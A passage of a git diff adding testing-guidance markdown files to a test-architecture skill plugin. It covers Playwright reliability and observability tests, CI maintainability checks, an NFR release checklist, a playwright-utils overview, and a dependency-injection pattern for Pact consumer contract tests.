+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-framework-setup.md
